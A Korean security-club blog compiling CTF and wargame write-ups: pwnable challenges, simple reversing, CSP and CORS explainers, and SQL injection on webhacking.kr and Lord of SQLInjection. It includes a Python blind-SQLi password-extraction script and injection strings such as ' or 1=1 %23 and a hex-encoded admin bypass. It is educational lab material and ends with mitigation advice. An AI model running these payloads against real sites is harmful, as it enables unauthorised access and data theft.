#1 ilovepwn

Out-of-Bound 취약점 문제이다. index값을 입력받을때 범위내인지 검증을 하는 과정이 없기 때문이다. 

fakekey의 배열 크기가 8이기 때문에 이 배열을 벗어나 있는 key 배열에 oob 취약점을 이용해 'ILOVEPWN'을 넣어주면 된다.

Shell을 땄다.

 


#2 Part-time Job

main함수를 보면 Your points인 v4가 0x17D78400(400,000,000)을 넘기고 입력받는 v3가 999이면 된다.

v4가 unsigned int 이고 unsigned int는 음수가 해당되지 않으므로 0인 상태에서 4번 선택지를 이용해 --v4하면 unsigned int의 최대값인 4294967295가 된다. 이렇게 하면 첫번째 조건이 풀리고, 바로 다음 v3를 입력 받을 때 999를 입력하면 쉘을 딸 수 있다.


#3 military

main함수를 보면 포멧스트링 버그 문제 인 것 같다. 포멧스트링 버그를 이용해서 discharged_past이 550이면 쉘을 딸 수 있다.

강의에서는 %p를 7번 해서 input 값의 위치를 찾았지만 나오지 않아서 8번 했더니 나왔다.(0x4141414141414141)

그리고 discharged_past의 주소는 0x4040AC 이다.

 

이를 토대로 쉘 코드를 작성해보면...

이 쉘코드는 nc(netcat)에서는 쉘이 따지지 않지만 로컬에서는 쉘이 따진다.

 

"실제 서버에 저장되어 있는 값은 'fake'가 아닙니다. 취약점을 이용해서 서버에 저장되어 있는 값을 guess 해보세요!"

 

로컬에서 fake 값이 어디에 위치하는지 알아야한다.

fake가 리틀엔디안 형식으로 13번 째에 위치하는 것을 알 수 있다.

nc로 접속하여 AAAAAA %13$p로 나온 주소 값인 0x6e41736e304e를

손수 언패킹 해서 hex to text로 변환해주면 N0nsAn이 나왔다.

fake를 N0nsAn으로 바꾸고 익스플로잇 하면 쉘이 따진다.

 

 

강의 해주신 분들 모두 수고 많으셨습니다.

'WhoIs 정보보안 교육 > Pwnable' 카테고리의 다른 글

Pwnable 2주차 과제 Write-up(#1~#4)  (0) 2021.11.28
Pwnable 1주차 과제 Write-up(#1~#3)  (0) 2021.11.21

#1 assembly

문제의 명령을 어셈블리로 작성하면,

mov rax, 0x77; 

mov rbx, 0x88; 

mov rcx, 0x99; 

sub rax, 0x10;           이다.

 

https://defuse.ca/online-x86-assembler.htm#disassembly

 

Online x86 and x64 Intel Instruction Assembler

Online x86 / x64 Assembler and Disassembler This tool takes x86 or x64 assembly instructions and converts them to their binary representation (machine code). It can also go the other way, taking a hexadecimal string of machine code and transforming it into

defuse.ca

해당 사이트에서 어셈블리 코드를 x64로 Assemble하여 나온 String Literal를 flag형식에 맞추면 된다.


#2 assembly

nc로 접속해보면,

IDA로 열어보면,

main 함수

read() 함수에서 bof가 발생한다.

generate_passcode 함수
win 함수

카나리를 우회하는 문제인 것 같다.


#3 assemlater

바로 IDA로 열어보면,

main 함수
assembly_calc 함수

main() 함수에서 scanf로 입력 받고 assembly_calc() 함수를 호출한다.

 

assembly_calc()에서는 인자인 v4와 0xABCD를 xor 한 값이 4886774851(0x123464443)이면 flag를 준다.


#4 canacode

jpg를 .jpg 확장자로 열어보면....

많이 힘드셨나보다...

 

canacod를 IDA로 열어보면,

잘 모르겠다! 패스토큰 사용!

'WhoIs 정보보안 교육 > Pwnable' 카테고리의 다른 글

Pwnable 3주차 과제 Write-up(#1~#3)  (0) 2021.12.05
Pwnable 1주차 과제 Write-up(#1~#3)  (0) 2021.11.21

#1 Studet ID

nc로 접속 해보면,

다음과 같이 나온다.

 

IDA로 열어보자.

 

v4의 배열 크기는 28이고, v5가 1234567890 -> 0x499602D2이면 flag가 나오는 것 같다.

pwntools로 scanf로 입력 받는 v4 부분을 'A' 28개로 채우고, 나머지를 0x499602D2로 채우면 된다.

 

exploit 코드

위의 exploit 코드를 실행하면 flag가 나온다.


#2 Magic Spell

nc로 접속 해보면,

다음과 같다.

IDA로 열어보면,

main 함수

main 함수를 보면 spell1()이라는 함수를 호출하는 것을 알 수 있다.

speel1()함수를 살펴보자.

spell1()함수에서 v1의 배열 크기는 31이며 scanf로 입력 받고, v2가 77 -> 0x4D이면 spell2()함수를 호출한다.

spell2()함수를 살펴보자.

spell2()함수에서는 배열의 크기가 16인 bof를 scanf로 입력받고, strncmp로 문자열을 비교하여 magic이 "pwnable!"이면 flag가 나온다.

 

pwntools로 익스플로잇 코드를 짜보면...

위의 exploit 코드를 실행하면 flag가 나온다.


#3 system

nc로 접속 해보면,

리눅스 상에서 ls -al 명령어를 입력했을 때의 결과 값 같은 것이 나온다.

IDA로 main 함수를 열어보면,

gets함수로 ggang이라는 변수에 입력받고, command를 system함수로 호출한다.

 

전 문제에서 한 것과 마찬가지로 pwntools로 배열을 "A"로 채우고 system함수로 쉘을 따는 쉘 코드를 짜보면,

 위의 쉘코드를 실행하면 쉘이 따지는데, 현재 디렉토리에 있는 flag를 cat으로 읽어주면 flag가 나온다.

'WhoIs 정보보안 교육 > Pwnable' 카테고리의 다른 글

Pwnable 3주차 과제 Write-up(#1~#3)  (0) 2021.12.05
Pwnable 2주차 과제 Write-up(#1~#4)  (0) 2021.11.28

#1 Root me : reversing - PE x86 - 0 protection

www.root-me.org

 

Bienvenue [Root Me : plateforme d'apprentissage dédiée au Hacking et à la Sécurité

Plusieurs centaines de challenges sont à votre disposition pour vous entrainer dans des environnements variés, non simulés et maitriser un grand nombre de techniques de hack !

www.root-me.org

Start the challenge를 누르고 rootMe.exe를 다운 받는다.

cmd에서 실행해보면,

rootMe.exe pass  형식으로 실행 해야 하는 것 같다.

임의의 값을 입력해 보면,

Wrong password가 나온다.

 

x32dbg로 열어보자.

 

문자열을 참조하여 Wrong password를 더블 클릭 했는데....

"Gratz man :)"은 pass가 맞으면 출력 되는 것 같고, 그 위에 'SPaCIoS'가 심상치 않다.

Clear!!!


#2 EasyReverseMe

x64dbg로 열어보자,

문자열을 참조하여 문자열을 출력하는 주소로 간다.

 

입력 값을 비교하여 0x49 > 73 과 같으면 "맞아요!"를 출력하고 다음 단계로 넘어가는 것 같다.

다음 단계로 넘어가 보자.

fgets로 입력을 받고, strcmp로 문자열을 비교하여 입력 값이 "I'm so hungry\n"과 같으면 통과일 것 같다. 

 

//이 다음은 모르겠습니다!!

컨텐츠 보안 정책을 의미하며, 웹사이트에서 XSS공격이나 Data Injection, Click Jacking 등 웹 페이지에 악성 스크립트를 사입하는 공격들을 막기위해 만들어진 정책이다. 아무나 인라인 JS 및 css를 넣지 못하도록 하는 것이다.

 

주로 헤더에 내용이 삽입되며 특정 리소스가 어디서 왔는지 검사하고 허용된 범위에 포함됐는지 검토한다.

 

 

https://w01fgang.tistory.com/147

 

Web Content Security Policy(CSP) 개념과 우회방법(Concept & Bypass)

CSP (Content Security Policy) -     What Is CSP? CSP는 Content Security Policy의 약자로 다양한 웹 보안 정책 중 하나다. 주로 XSS나 Data Injection, Click Jacking, 등 웹 페이지에 악성 스크립트를 삽..

w01fgang.tistory.com

https://m.blog.naver.com/01075970528/221790130199

 

CSP(Content Security Policy): 콘텐츠 보안 정책

https://developer.mozilla.org/ko/docs/Web/HTTP/CSP 웹사이트에서 XSS(Cross Site Scripti...

blog.naver.com

 

'WhoIs 정보보안 교육' 카테고리의 다른 글

CORS(Cross-origin resource sharing)란?  (0) 2021.09.19

한글로 직역하면 '교차 출처 리소스 공유'이다. 교차 출처 리소스 공유(Cross-Origin Resource Sharing, CORS)는 브라우저가 추가 HTTP 헤더를 사용하여, 한 출처에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에 알려주는 체제, MDN 이다. 좀 더 쉽게 말하자면, 사용자가 지금 접속한 사이트와 다른 출처의 리소스를 사용하려 할 때 브라우저가 참고하는 화이트 리스트라고 할 수 있다. 만약, 이 리스트에 없다면 콘솔 창에 빨간 색 CORS 에러를 맞닥뜨리게 될 것이다.

 

CORS의 동작원리는 2가지있다.

1. SImple Request

2. Prefilght Request

 

 

 

https://velog.io/@gwanuuoo/CORS%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80

 

CORS란 무엇인가?

교차 출처 리소스 공유(Cross-Origin Resource Sharing, CORS)는 브라우저가 추가 HTTP 헤더를 사용하여, 한 출처에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여

velog.io

 

'WhoIs 정보보안 교육' 카테고리의 다른 글

CSP(Content Security Policy)란?  (0) 2021.09.19

https://webhacking.kr/

 

Webhacking.kr

Index Welcome Stranger! Chatting Notice(en) [2021-04-16] Score of old challenges has been adjusted to 1/10. For a while now, new challenges will be added "without" notice. [2020-08-12] Replace chat feature with Discord. Please do not cause inconvenience to

webhacking.kr

 

 

 

아무 값을 입력하니 login fail이 뜬다.

 

webhacking.kr/challenge/bonus-1/index.php?id=asd&pw=asd

url로 값을 전달하는 것을 보아 ID와 PW 모두 get방식으로 전달 받는다.

 

ID와 PW에 guest를 입력하니 login success가 뜬다.

 

쿼리문이 성립 되면(참이면) wrong password가 뜨는 것 같다.

 

ID는 admin으로 확정 짓고, admin의 pw를 알아내야한다. pw의 길이와 문자열을 알아내야한다.

 

위의 코드를 돌리면 length가 36임을 알 수 있다.

 

 

import requests

url='https://webhacking.kr/challenge/bonus-1/index.php?id=admin&'
header={'Cookie':'PHPSESSID=sqge4qh5haviq2cdvg6hj6claf'}

pw=""
for i in range(1,37):
    for j in range(33,127):
        query = "pw='+or+ascii(substr(pw,{},1))={}+%23".format(i,j)
        result = requests.get(url+query, headers = header)
        if "wrong password" in result.text:
            print("pw:" ,pw)
            pw += chr(j)
            break

print(pw)

 

pw의 길이만큼 반복하며 문자열을 알아내는 코드이다.

ghere_is_no_rest_for_the_white_angel 라는 값이 나왔는데, g를 t로 바꾸면 될 것 같다.

 

Solve!

 

참고

https://jacksimon86.tistory.com/74

 

webhacking.kr 21번

21번을 들어가면 화면처럼 그냥 대놓고 블라인드 sql 인젝션 문제라고 적혀있습니다. 그래서 이것저것 넣어보았습니다. id, pw에 모두 guest을 넣은뒤 검색하면 url은 이렇게 바뀌고 login sucess라는 표

jacksimon86.tistory.com

 

https://los.rubiya.kr

 

Lord of SQLInjection

 

los.rubiya.kr


1. Gremlin

if($result['id']) solve("gremlin");  >>>  id 값이 있으면 문제가 풀린다.

 

id 값이 있기만 하면 되기 때문에 아무 값을 넣고 pw를 ' 로 닫아준 후 SQLI 구문 'or 1=1'로 pw가 무조건 참이도록 만들면 된다. 그리고 %23(#)로 뒷 부분을 모두 주석처리 해주면 해결된다.

 

?id=123&pw=' or 1=1 %23

Clear!!!


2. Cobolt

if($result['id'] == 'admin'solve("cobolt"); >>> id값이 admin이면 풀리는 문제이다.

 

첫 번째 방법은 id값에 admin을 넣고 뒷 부분을 모두 주석처리하면 풀린다.

?id=admin'%23

 

두 번째 방법은 pw값을 md5로 인코딩 하지만 AND조건으로 pw조건을 우회하는 방법이다.

?id=admin'or'1=1

Clear!!!


3. Goblin

if($result['id'] == 'admin'solve("goblin"); >>> id 값이 admin이면 풀린다.

 

if(preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); >>> preg_match 정규표현식 검사 함수로 인해서 '와 "가 필터링 된다.

 

그러므로 'admin'을 사용하지 못하기 때문에 Binary 또는 Hex 인코딩으로 admin을 인코딩하여 삽입하면 된다.

 

no에 1을 넣으면 guest가 나온다. guest가 나오지 않도록 no에 1이 아닌 값을 집어넣는다. 실전에서는 터무니 없는 값을 주면 좋을 것 같다. 그 후 or id = 'admin'을 해주면 풀린다.

 

admin을 Hex값으로 인코딩하면

0x61646d696e이므로

 

?no=10 or id=0x61646d696e

 

Clear!!!


취약점에 대한 해결 방안...

 

1. 입력값 검증을 더 강력히 한다.

 

2. prepared statement를 적용한다.

 

3. 저장 프로시저 사용

사용하고자 하는 Query 에 미리 형식을 지정하는 것을 말한다. 지정된 형식의 데이터가 아니면 Query 가 실행되지 않기 때문에 보안성을 크게 향상시킨다.